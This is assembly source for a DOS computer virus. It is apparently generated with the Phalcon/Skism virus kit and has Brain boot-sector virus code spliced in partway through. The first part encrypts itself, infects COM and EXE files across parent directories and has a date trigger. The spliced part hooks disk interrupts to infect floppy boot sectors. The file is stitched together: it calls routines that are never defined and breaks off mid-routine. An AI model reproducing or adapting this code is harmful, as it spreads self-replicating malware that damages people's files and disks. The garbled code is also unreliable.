; Alchemy.asm : [Arachnyphobia] by Abraxas
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg

.model tiny                             ; Handy directive
.code                                   ; Virus code segment
          org    100h                   ; COM file starting IP

id = 'DA'                               ; ID word for EXE infections
entry_point: db 0e9h,0,0                ; jmp decrypt

decrypt:                                ; handles encryption and decryption
patch_startencrypt:
          mov  bx,offset startencrypt   ; start of decryption
          mov  cx,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
          db   2eh,81h,07h              ; add word ptr cs:[bx], xxxx
decrypt_value dw 0                      ; initialised at zero for null effect
          inc  bx                       ; calculate new decryption location
          inc  bx
          loop decrypt_loop             ; decrypt mo'
startencrypt:
          call next                     ; calculate delta offset
next:     pop  bp                       ; bp = IP next
          sub  bp,offset next           ; bp = delta offset

          cmp  sp,id                    ; COM or EXE?
          je   restoreEXE
restoreCOM:
          lea  si,[bp+save3]
          mov  di,100h
          push di                       ; For later return
          movsb
          jmp  short restoreEXIT
restoreEXE:
          push ds
          push es
          push cs                       ; DS = CS
          pop  ds
          push cs                       ; ES = CS
          pop  es
          lea  si,[bp+jmpsave2]
          lea  di,[bp+jmpsave]
          movsw
          movsw
          movsw
restoreEXIT:
          movsw

          mov  byte ptr [bp+numinfec],1 ; reset infection counter

          mov  ah,1Ah                   ; Set new DTA
          lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
          int  21h

          mov  ah,47h                   ; Get current directory
          mov  dl,0                     ; Current drive
          lea  si,[bp+origdir]          ; DS:SI->buffer
          int  21h
          mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR

          mov  ax,3524h                 ; Get int 24 handler
          int  21h                      ; to ES:BX
          mov  word ptr [bp+oldint24],bx; Save it
          mov  word ptr [bp+oldint24+2],es
          mov  ah,25h                   ; Set new int 24 handler
          lea  dx,[bp+offset int24]     ; DS:DX->new handler
          int  21h
          push cs                       ; Restore ES
          pop  es                       ; 'cuz it was changed

dir_scan:                               ; "dot dot" traversal
          lea  dx,[bp+exe_mask]
          call infect_mask
          lea  dx,[bp+com_mask]
          call infect_mask
          mov  ah,3bh                   ; change directory
          lea  dx,[bp+dot_dot]          ; "cd .."
          int  21h
          jnc  dir_scan                 ; go back for mo!

done_infections:
          mov  ah,2ah                   ; Get current date
          int  21h
          cmp  dh,10                    ; Check month
          jb   exit_virus
          cmp  dl,14                    ; Check date
          jb   exit_virus
          cmp  cx,1991                  ; Check year
          jae  activate

exit_virus:
          mov  ax,2524h                 ; Restore int 24 handler
          lds  dx,[bp+offset oldint24]  ; to original
          int  21h
          push cs
          pop  ds

          mov  ah,3bh                   ; change directory
          lea  dx,[bp+origdir-1]        ; original directory
          int  21h

          mov  ah,1ah                   ; restore DTA to default
          mov  dx,80h                   ; DTA in PSP
          cmp  sp,id-4                  ; EXE or COM?
          jz   returnEXE
returnCOM:
          int  21h
          retn                          ; 100h is on stack
returnEXE:
          pop  es
          pop  ds
          int  21h
          mov  ax,es                    ; AX = PSP segment
          add  ax,10h                   ; Adjust for PSP
          add  word ptr cs:[bp+jmpsave+2],ax
          add  ax,word ptr cs:[bp+stacksave+2]
          cli                           ; Clear intrpts for stack manipulation
          mov  sp,word ptr cs:[bp+stacksave]
          mov  ss,ax
          sti
          db   0eah                     ; jmp ssss:oooo
jmpsave             dd ?                ; Original CS:IP
stacksave           dd ?                ; Original SS:SP
jmpsave2            db ?                ; Actually four bytes
save3               db 0cdh,20h,0       ; First 3 bytes of COM file
stacksave2          dd ?

activate:                               ; Conditions satisfied
		org     0

		cli
		jmp     entervirus
idbytes         db       34h, 12h
firsthead       db      0
firstsector     dw      2707h
curhead         db      0
cursector       dw      1
		db      0, 0, 0, 0
		db      'Welcome to the  Dungeon         '
copyright       db      '(c) 1986 Brain'
		db      17h
		db      '& Amjads (pvt) Ltd   VIRUS_SHOE '
		db      ' RECORD   v9.0   Dedicated to th'
		db      'e dynamic memories of millions o'
		db      'f virus who are no longer with u'
		db      's today - Thanks GOODNESS!!     '
		db      '  BEWARE OF THE er..VIRUS  : \th'
		db      'is program is catching      prog'
		db      'ram follows after these messeges'
		db      '..... $'
		db      '#@%$'
		db      '@!! '
entervirus:
		mov     ax,cs
		mov     ds,ax                   ; ds = 0
		mov     ss,ax                   ; set stack to after
		mov     sp,0F000h               ; virus
		sti
		mov     al,ds:[7C00h+offset firsthead]
		mov     ds:[7C00h+offset curhead],al
		mov     cx,ds:[7C00h+offset firstsector]
		mov     ds:[7C00h+offset cursector],cx
		call    calcnext
		mov     cx,5                    ; read five sectors
		mov     bx,7C00h+200h           ; after end of virus

loadnext:
		call    readdisk
		call    calcnext
		add     bx,200h
		loop    loadnext

		mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
		sub     ax,7                    ; - 7 Kb
		mov     word ptr ds:[413h],ax   ; Insert as new value
		mov     cl,6
		shl     ax,cl                   ; Convert to paragraphs
		mov     es,ax
		mov     si,7C00h                ; Copy from virus start
		mov     di,0                    ; to start of memory
		mov     cx,1004h                ; Copy 1004h bytes
		cld
		rep     movsb
		push    es
		mov     ax,200h
		push    ax
		retf                            ; return to old boot sector

readdisk:
		push    cx
		push    bx
		mov     cx,4                    ; Try 4 times

tryread:
		push    cx
		mov     dh,ds:[7C00h+offset curhead]
		mov     dl,0                    ; Read sector from default
		mov     cx,ds:[7C00h+offset cursector]
		mov     ax,201h                 ; Disk to memory at es:bx
		int     13h
		jnc     readOK
		mov     ah,0                    ; Reset disk
		int     13h                     ; (force read track 0)
		pop     cx
		loop    tryread

		int     18h                     ; ROM basic on failure
readOK:
		pop     cx
		pop     bx
		pop     cx
		retn

calcnext:
		mov     al,byte ptr ds:[7C00h+offset cursector]
		inc     al
		mov     byte ptr ds:[7C00h+offset cursector],al
		cmp     al,0Ah
		jne     donecalc
		mov     byte ptr ds:[7C00h+offset cursector],1
		mov     al,ds:[7C00h+offset curhead]
		inc     al
		mov     ds:[7C00h+offset curhead],al
		cmp     al,2
		jne     donecalc
		mov     byte ptr ds:[7C00h+offset curhead],0
		inc     byte ptr ds:[7C00h+offset cursector+1]
donecalc:
		retn

; the following is a collection of garbage bytes
		db       00h, 00h, 00h, 00h, 32h,0E3h
		db       23h, 4Dh, 59h,0F4h,0A1h, 82h
		db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
		db      0CDh, 21h,0A2h, 3Ch, 5Fh
a_data          dw      050Ch
; Second part of the virus begins here
		jmp     short entersecondpart
		db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter     db      4                       ; keep track of # reads
curdrive        db      0
int13flag       db      0

entersecondpart:
		mov     cs:readcounter,1Fh
		xor     ax,ax
		mov     ds,ax                   ; ds -> interrupt table
		mov     ax,ds:[13h*4]
		mov     ds:[6Dh*4],ax
		mov     ax,ds:[13h*4+2]
		mov     ds:[6Dh*4+2],ax
		mov     ax,offset int13         ; 276h
		mov     ds:[13h*4],ax
		mov     ax,cs
		mov     ds:[13h*4+2],ax
		mov     cx,4                    ; 4 tries
		xor     ax,ax
		mov     es,ax                   ; es -> interrupt table

tryreadbootsector:
		push    cx
		mov     dh,cs:firsthead
		mov     dl,0
		mov     cx,cs:firstsector
		mov     ax,201h                 ; read from default disk
		mov     bx,7C00h
		int     6Dh                     ; int 13h
		jnc     readbootOK
		mov     ah,0
		int     6Dh                     ; int 13h
		pop     cx
		loop    tryreadbootsector

		int     18h                     ; ROM basic on failure
readbootOK:                                     ; return control to
						; original boot sector
;*              jmp     far ptr 0000:7C00h
		db      0EAh, 00h, 7Ch, 00h, 00h
		nop                             ; MASM NOP!!!
int13:
		sti
		cmp     ah,2                    ; if not read request,
		jne     doint13                 ; do not go further
		cmp     dl,2                    ; if after second floppy,
		ja      doint13                 ; do not go further
		cmp     ch,0                    ; if not reading boot sector,
		jne     regularread             ; go handle as usual
		cmp     dh,0                    ; if boot sector,
		je      readboot                ; do I<-/>/\|> stuff
regularread:
		dec     cs:readcounter          ; Infect after 4 reads
		jnz     doint13                 ; If counter still OK, don't
						; do anything else
		jmp     short readboot          ; Otherwise, try to infect
doint13:
		jmp     exitint13h
readboot:
; FINISH THIS!
		mov     cs:int13flag,0          ; clear flag
		mov     cs:readcounter,4        ; reset counter
		push    ax
		push    bx
		push    cx
		push    dx
		mov     cs:curdrive,dl
		mov     cx,4

tryreadbootblock:
		push    cx
		mov     ah,0                    ; Reset disk
		int     6Dh
		jc      errorreadingbootblock   ; Try again
		mov     dh,0
		mov     cx,1
		mov     bx,offset readbuffer    ; buffer @ 6BEh
		push    es
		mov     ax,cs
		mov     es,ax
		mov     ax,201h
		int     6Dh                     ; Read boot sector
		pop     es
		jnc     continuestuff           ; continue if no error
errorreadingbootblock:
		pop     cx
		loop    tryreadbootblock

		jmp     short resetdisk         ; too many failures
		nop
continuestuff:
		pop     cx                      ; get system id in boot block
		mov     ax,word ptr cs:[offset readbuffer+4]
		cmp     ax,1234h                ; already infected?
		jne     dodisk                  ; if not, infect it
		mov     cs:int13flag,1          ; flag prev. infection
		jmp     short noreset
dodisk:
		push    ds
		push    es
		mov     ax,cs
		mov     ds,ax
		mov     es,ax
		push    si
		call    writevirus              ; infect the disk
		jc      failme                  ; exit on failure
		mov     cs:int13flag,2          ; flag success
		call    changeroot              ; manipulate volume label